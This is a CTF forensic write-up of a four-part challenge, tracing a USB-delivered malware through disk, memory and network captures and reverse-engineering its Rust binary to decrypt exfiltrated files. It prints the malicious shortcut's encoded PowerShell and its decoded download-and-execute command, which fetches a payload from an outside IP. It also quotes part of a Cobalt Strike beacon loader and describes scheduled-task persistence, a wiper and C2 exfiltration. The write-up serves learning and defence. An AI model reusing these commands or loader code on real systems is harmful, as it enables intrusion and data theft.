HeroCTFv4 - Where_all_problems_starts

14 minute read

HeroCTFv4 - Forensic - Where all problems start

This is the write-up of “Where all problems start”, a forensic challenge of the HeroCTFv4 created by Worty . It is divided in four parts with four different files.

Part 1 - USB parition


For a change of pace, a company has been attacked again... Nevertheless
, the means used here is quite original, indeed, it would be apparently
a food delivery man who would be at the origin of the initial 
compromise... For your first analysis, you will have to found what
the USB key that the delivery man put in the computer contains.

Could you provide us the malicious URL used to download something ?

In this part, we have a disk dump of the USB key, so let’s analyze it.

usb.dump: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 62, heads 124, hidden sectors 32, sectors 7831282 (volumes > 32 MB), FAT (32 bit), sectors/FAT 7640, reserved 0x1, serial number 0x9c286c52, unlabeled

First, we could try to mount it : sudo mount usb.dump /mnt

Nothing interesting, let’s look with testdisk if we could see something (removed file ?).

We see that it’s a FAT32 partition :

We could list the files of the partition with Boot and List menu :

We see here that there is a document which was removed : “Important_Document.lnk”. We dump it.

➜  part1 file Important_Document.lnk
Important_Document.lnk: MS Windows shortcut

This is a LNK file, just a symbolic link on Windows, it’s very used to hide backdoors.

We just cat it and we extract this data :

powershell.exe -Nop -sta -noni -w hidden -encodedCommand YwBkACAAQwA6AFwAVQBzAGUAcgBzAFwAVwBvAHIAdAB5AFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANAA2AC4ANQA5AC4AMQA1ADYALgA4ADIALwBpAG0AZwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAGkAZQB4AHAAbABvAHIAZQByADYANAAuAGUAeABlACIAIAA7ACAALgBcAGkAZQB4AHAAbABvAHIAZQByADYANAAuAGUAeABlAA==

This is a malicious powershell command with a base64 argument. The thing to note here is base64 needs to be in UTF-16, so we use an online decoder to decode it : https://the-x.cn/en-US/base64

cd C:\Users\Worty\AppData\Local\Temp\ ; Invoke-WebRequest -Uri "http://146.59.156.82/img.png" -OutFile "iexplorer64.exe" ; .\iexplorer64.exe

These are the commands executed, there is a web request on 146.59.156.82 where the file img.png is dropped as iexplorer64.exe and launched after.

So we have our flag, the malicious url : Hero{http://146.59.156.82/img.png}

Part 2 - Disk parition

Difficulty : very-hard

Well, the USB key was pretty obvious! You are now provided with a dump
of the file system of the infected machine. Can you identify the
actions of the malware that was loaded from the usb drive?

For these part, we have the windows image disk of the victim. We need to find a flag, or parts of flag somewhere, linked to what we found if the first part.

Firstly, I mounted the disk with extracting the partition with testdisk because EFI and MS partitions prevents me to mount the file system. (It’s a windows partition)

Next, I search for the malware of the part 1 (iexplorer64.exe) :

Windows/System32/iexplorer64.exe
Windows/Prefetch/IEXPLORER64.EXE-E115DED1.pf

We find it, and we start the analysis of it.

At the moment, I launched Ghidra and start to strings it and I found Rust patterns .. I just closed Ghidra quickly x)

So let’s analyze the strings :

Many encoded patterns, we could try to decode them if we could find some information :

I like using this website : https://www.dcode.fr/cipher-identifier , pretty cool to recognize baseXX patterns.

41AMoD4RLwE7h2REtSWSGfUFu= is base58 -> Hero{p3rs0n4l_3v1l

We find a part of the flag.

There is also this string :

Referring to the documentation : https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks

This powershell command is used to create a planning task and run the bc.ps1 file the 22/05/2022 and also launched an echo command.

The argument is 4xZkKhuR78J21Hwfsp3tmEDcS which is base58 also : _m4lw4r3_n0t_fl4g_ .

We now have two parts of the flag. We could focus the planned task.

The name of the task is apocalypse and the file launched is located in \\wsl$\Ubuntu\tmp\ which is a WSL folder. WSL for Windows Subsystem for Linux allows Windows users to run Linux on Windows. Our goal if to find the content of bc.ps1.

Windows tasks are in the Windows/System32/Tasks/ folder and are included by XML files. For apocalipse :

...
  <Actions Context="Author">
    <Exec>
      <Command>\\\\wsl$\\Ubuntu\\tmp\\bc.ps1</Command>
      <Arguments>-c 4xZkKhuR78J21Hwfsp3tmEDcS</Arguments>
    </Exec>
  </Actions>
...

We see more precisely the flag that we found, it is an argument of the bc.ps1 file.

Now we need google to find, where WSL system is located on the files ystem. We find this PATH (https://askubuntu.com/questions/759880/where-is-the-ubuntu-file-system-root-directory-in-windows-subsystem-for-linux-an):

➜  LocalState ls
ext4.vhdx
➜  LocalState file ext4.vhdx
ext4.vhdx: Microsoft Disk Image eXtended
```We have the ext4 partition (vhdx) which is the Ubuntu WSL partition. Now we need to find how to mount it.

This github gist is really cool for that : https://gist.github.com/allenyllee/0a4c02952bf695470860b27369bbb60d

We reuse the script and change the mount command by `sudo mount -o rw,nouser /dev/nbd0 mnt` because there isn't subvolumes in our case, we just have the ext4 partition.

```➜  part2 sh mount_vhdx.sh ext4.vhdx mnt
rmmod: ERROR: Module nbd is not currently loaded
➜  part2 head mnt/tmp/bc.ps1
Set-StrictMode -Version 2

#YnlfZDNmM25kM3J9

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))

We have the content of bc.ps1 ! Perfect, we read it and at the top we find a comment in base64 -> YnlfZDNmM25kM3J9 -> by_d3f3nd3r}.

We now have the 3 parts, we concatenate them and flagz : Hero{p3rs0n4l_3v1l_m4lw4r3_n0t_fl4g_by_d3f3nd3r}

PS: The bc.ps1 was just a powershell Cobalt Strike beacon, nothing interesting with it later.

Part 3 - Memory Dump


The malware was therefore custom and specifically targeted this company
, so there is no way to use known databases to identify its different
keys...

There is (or are) some malicious connexion(s) too...

This malware seems to act like a droper for another ones, but we are 
not really sure.. could you find some informations to confirm that ?

Flag Format : Hero{ip:port-deleted_file_1-deleted_file_2-path_of_malware}

Example : 
Hero{198.56.23.41:1337-superimage.png-mymarks.txt-C:\Programmes\superevil.exe

For this third section we have a memory dump, so we need to use volatility to find the requested information.

We quickly find the volatility profile with imageinfo plugin : Win10x64_19041

Then we could start to use pstree plugin to list the processes with order :

We have the powershell command which run iexplorer64, etc…

But let’s focus on information asked. We need to find two deleted files. There was this string on the malware :

C:\Users\j.bertrand\Documents\*.*

This makes us think of a form of wiper which is going to remove all files in this directory, this idea could be confirmed by the statement of the challenge : “The malware was therefore custom and specifically targeted this company”.

We use strings and strings -el on the memory dump. Don’t forget to use -el to read UTF-16 strings.

Now grep part :) :

...
{"displayText":"todo.txt","activationUri":"ms-shellactivity:","appDisplayName":"Bloc-notes","description":"C:\\Users\\j.bertrand\\Documents\\todo.txt","backgroundColor":"b
lack","contentUri":"file:///C:/Users/j.bertrand/Documents/todo.txt?VolumeId={3DF0DA5B-0A80-4E0A-BDAE-E9932FC1110A}&ObjectId={4C53AD6C-DDD4-11EC-9F30-000C2939E9D1}&KnownFol
derId=Local Documents&KnownFolderLength=29"}
...
{"displayText":"background.bmp","activationUri":"ms-shellactivity:","appDisplayName":"Paint","description":"C:\\Users\\j.bertrand\\Documents\\background.bmp","backgroundCo
lor":"black","contentUri":"file:///C:/Users/j.bertrand/Documents/background.bmp?VolumeId={3DF0DA5B-0A80-4E0A-BDAE-E9932FC1110A}&ObjectId={4C53AD7A-DDD4-11EC-9F30-000C2939E
9D1}&KnownFolderId=Local Documents&KnownFolderLength=29"}
...

We find two files right here :

  • C:/Users/j.bertrand/Documents/todo.txt open by notepad.exe
  • C:/Users/j.bertrand/Documents/background.bmp open by mspaint.exe

Both of these files can’t be found with the filescan volatility plugin. So we found the two files.

Now we need to find an IP and a Port which refers to a strange connection.

I had a hard time on this part because I didn’t find any strange connection IP except the IP we found on part one.

The problem here was with volatility2. The plugin netscan didn’t show me the malicious connection.

After some time, I decided to try the network connection plugin of volatility3, and we found something interesting.

python3 volatility3/vol.py -f ./memory.dmp windows.netscan.NetScan

...
0xd88f5e3d3050	TCPv4	172.16.128.129	59533	161.97.163.247	80	CLOSE_WAIT	4316	powershell.exe	2022-05-27 15:58:27.000000 
...

8 minutes after the malware was run, there is this connection on the ip 161.97.163.247 and port 80, for sure http connection from a powershell process. I google the IP to see if it’s not a microsoft one’s, and it’s a Contabo IP (VPS provider), smells good for us.

To confirm this, let’s grep http://161.97.163.247.

http://161.97.163.247/
http://161.97.163.247/dot.gif
http://161.97.163.247/dot.gif
http://161.97.163.247/VfZF
http://161.97.163.247/VfZF
http://161.97.163.247/VfZF
http://161.97.163.247/VfZF
http://161.97.163.247/dot.gif

Now we are sure that’s the right way, the http server is actually down, we have the ip and the port : ip 161.97.163.247 & port 80

We could also see that powershell was launched in the last commands with the cmdline plugin of volatility. Http connections and it corresponds to what we see in netscan plugin temporality.

Last goal was to find the original iexplorer64.exe PATH, I struggled a lot on this, but it was very easy, the PATH was just what we found on part 2 : C:\Windows\System32\iexplorer64.exe. So the answer wasn’t this path : C:\Users\j.bertrand\AppData\Local\Temp\iexplorer64.exe, where the program was launched (by the LNK file). But C:\Windows\System32\ where the malware was duplicated on.

PS : I’ve gone too far with looking at prefetch files and EVTX but it was useless.

Concatenate all of the informations and we have a flagz : Hero{161.97.163.247:80-background.bmp-todo.txt-C:\Windows\System32\iexplorer64.exe}

Part 4 - PCAP Capture

A network administrator has woken up and tells us that he makes network
dumps very frequently. Moreover, the malware seems to have exfiltrated 
files but we are not sure and the capture seems unreadable... it's up
to you to find the exfiltrated files!

Now the last part of the challenge, we have a PCAP file so let’s analyze it with wireshark.

There are many web and https connections on youtube, twitter, etc… During the challenge I was faked by the length of UDP packets (1337) x) , I thought that it was a strange UDP exfiltration but with many packets. The thing is the protocol used was HTTP3, and It used UDP. I confirmed this wrong idea with the IPv6 destination ips. I googled them and at each time, it corresponds to google or twitter, not a C2.

With many packets like this, the idea was to filter destination IP. With this, we find again the VPS IP that we found on part 3 : 161.97.163.247 .

If we filter destination packets on wireshark :

We see strange TCP and IPv4 requests on 1337 port of 161.97.163.247, looks good.

I extract these packets on a file for a better analysis. If we follow TCP streams :

We find 3 exfiltrations of data (two of them on the images). Obviously, this data is encrypted, so our goal is to decrypt them. Packets lengths are multiples of 16 which could we related to AES.

That’s all for the forensic part, now we need to reverse the malware to find a key or something to decrypt the data.

My reverse skills are very limited, so I make contribute my teammate SeulAParis(https://twitter.com/seulaparis) to help me on the reverse part.

He will explain to you of he managed to decrypt the data.

Reverse-engineering the Rust malware

During the CTF, I was given this malware with a bit of context as to what we already knew about it:

  • It serves as a dropper for a powershell file that is a Cobalt Strike beacon.
  • It is also a wiper.

With this information, I was supposed to reverse-engineer it to find the last flag of the forensic series.

A brief overview of the file informs us that the malware was written in Rust and that its symbols have been stripped. I cruelly lack experience in Rust reverse-engineering (I can barely even write Rust to begin with), but I figure classic tools like cutter and IDA will be enough for it to work. I also lack experience with using proper tools for reverse engineering, that is why I switch from one to the other (I mostly use Cutter for its decompiler, since I am not enough of an evil hacker to pirate IDA).

Cutter (and Ghidra decompiler)

With cutter I tried to retrieve the source code of the main function. After a few hours of staring into the void and trying to make sense of what I was seeing, I decided that was not the way to go. A few things I managed to gather from this analysis however were:

  • Main’s address is 0x22f0.
  • The position of the powershell dropper code: it loads a long string of base64 into memory, opens a file in the WSL file system, decodes the base64, decrypts the result (I don’t know how), and puts it into the file. Working with Itarow allowed me to see the content of the decrypted powershell file (whose length matched my encrypted string’s length), that he had managed to find in the part 2.
  • A few weird strings, the position of the function that lists all the files to wipe (because it takes C:\Users\j.bertrand\Documents\*.* as an argument), but I had a lot of trouble making sense of all of it.

The role of each function was guessed by looking at the arguments that it took: a function that takes a filename as input is likely to be an open() equivalent, one that takes base64 as input is likely to be some kind of base64 decode, and so on…

At this point I was losing faith in Cutter and starting to think about opening IDA. Talking with Itarow lead us to believe that before the files were wiped, they were sent on the network to a C&C server, because of what he could see in a network capture: the problem was that these files were ciphered, and this made the goal of the challenge to decipher them. This also lead me to believe that we might be able to shorten the reverse engineering step of the challenge by making some educated crypto guesses.

IDA

Before taking out the big guns, I went back to the basics to see what libs might have been used in the creation of the malware:

>(°~°)< $ strings iexplorer64.exe | grep registry
C:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\base64-0.13.0\src\decode.rs
C:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\aes-0.8.1\src\soft\fixslice64.rs
PadErrorOverflow when calculating number of chunks in inputC:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\base64-0.13.0\src\decode.rs
internal error: entered unreachable codecalled `Option::unwrap()` on a `None` valueC:\Users\w0rty\.cargo\registry\src\github.com-1ecc6299db9ec823\glob-0.3.0\src\lib.rs
[...]

We already knew where the base64 lib had been used, and we could also expect that the glob lib was used to list the files in the “Documents” folder of j.bertrand.

That left us with the AES lib as being the only one whose precise use was still undetermined!

Itarow sent me the three files that he thought might be encrypted by the malware before being sent to the C&C. He was pretty sure they were being sent to the C&C, so we had reason to think it was the malware sending them.

>(°~°)< $ ls -lrt encs/
-rw-r--r-- 1 ani  podracer   208 May 28 18:04 enc_maybe
-rw-r--r-- 1 ani  podracer 16480 May 28 18:06 enc_maybe2
-rw-r--r-- 1 ani  podracer   112 May 28 18:08 enc_maybe3

The first thing we need to check to see if our AES hypothesis is valid is the file lengths…

>>> 208 % 16
0
>>> 16480 % 16
0
>>> 112 % 16
0

Since AES works with 16 byte blocks, we have a strong indicator here that these files might have been encrypted with… AES!

To go further, we would need a key (and maybe an IV, depending on which AES mode was being used). I decided to use IDA and only look at the disassembly

Among the interesting strings I had found with Cutter earlier on, there were:

  • “tjaHIm79Qa1IjDuAhnsDCxrtpyUiaAoO”
  • “hello world! this is my plaintext.”
  • “src\main.rs”

I tried to use the “tjaHIm” string as a key for ECB AES, but it didn’t work, so I had to keep on searching.

So I decided to jump to the code that used these strings (loc_1400027b9), since one of our ideas was that one of the encrypted files would match the src/main.rs file. Also because the “tjaHIm…” string is 32 bytes long, which could be the length of an AES key.

I gazed upon the code in the graph view of IDA and was still struggling to make any sense of it. But I could at least describe an overview of what was going on:

  • The “hello world! …” string is loaded from memory.
  • The “tjaHIm …” string is loaded… but ONLY the first half (16 bytes) of it!
  • Some operations are done (like… setting up the AES cipher?)
  • The second half of “tjaHIm …” is loaded from memory.
  • 0xe0e0e0e0e0e0e0e being loaded into RAX, and placed onto the stack so that it made the string “hello world! this is my plaintext.\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e”… This is the string being padded to a 16 byte length multiple! This is exactly what is done before an AES encryption operation!
  • Two function calls

All of this information is enough to reconstruct the AES ciphering process (and parameters). The padding operation serves as a marker: we can suppose it is made right before the “true” encryption operation, which allows us to separate the process in two: the operations made before the padding would be key expansion and stuff, whereas the operations made after the padding would be proper encryption. Since the second half of the mysterious “tjaHIm …” string is loaded into memory after the alleged key setup, we are led to believe that the first half of this string is the AES key, whereas the second half of it would be an IV. It has the right length for it!

The only thing missing is the AES mode used, but since we think we have a key and an IV, it can’t be ECB. CBC is very popular (among CTF players at least, I don’t know about real life :S ), so that is went for for my first attempt. To my great amazement… It worked!

>(°~°)< $ ./tester.py 
b"Hello {{firstname}} {{lastname}},\n\nWelcome to our company !\n\nHope you'll enjoy it !\n\nYou can feel in touch with us by reaching us via {{email}} or {{phonenumber}}\n\nBest regards,\n\n{{signature}}\n\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f"

We can see our beloved AES padding at the end.

I scripted the decryptionning of the rest of all of the files at once:

#!/usr/bin/python3
from Crypto.Cipher import AES

key = b"tjaHIm79Qa1IjDuA"
iv = b"hnsDCxrtpyUiaAoO"

with open("encs/enc_maybe", "rb") as f:
        enc = f.read()

aes = AES.new(key, AES.MODE_CBC, iv=iv)
print(aes.decrypt(enc))

with open("encs/enc_maybe2", "rb") as f:
        enc = f.read()

aes = AES.new(key, AES.MODE_CBC, iv=iv)
dec = aes.decrypt(enc)

with open("encs/dec_maybe2", "wb") as f:
        f.write(dec)

with open("encs/enc_maybe3", "rb") as f:
        enc = f.read()

aes = AES.new(key, AES.MODE_CBC, iv=iv)
print(aes.decrypt(enc))

It turns out enc_maybe2 was an opendocument spreadsheet, and the flag was inside one of its cells :D

Flag : Hero{024bcd670b1a35fef0ec6a547a20cfbc}

Conclusion

Thanks Worty for this awesome challenge which covers different analysis of multiples files, and thanks SeulAParis for his help and contribution for the last part :)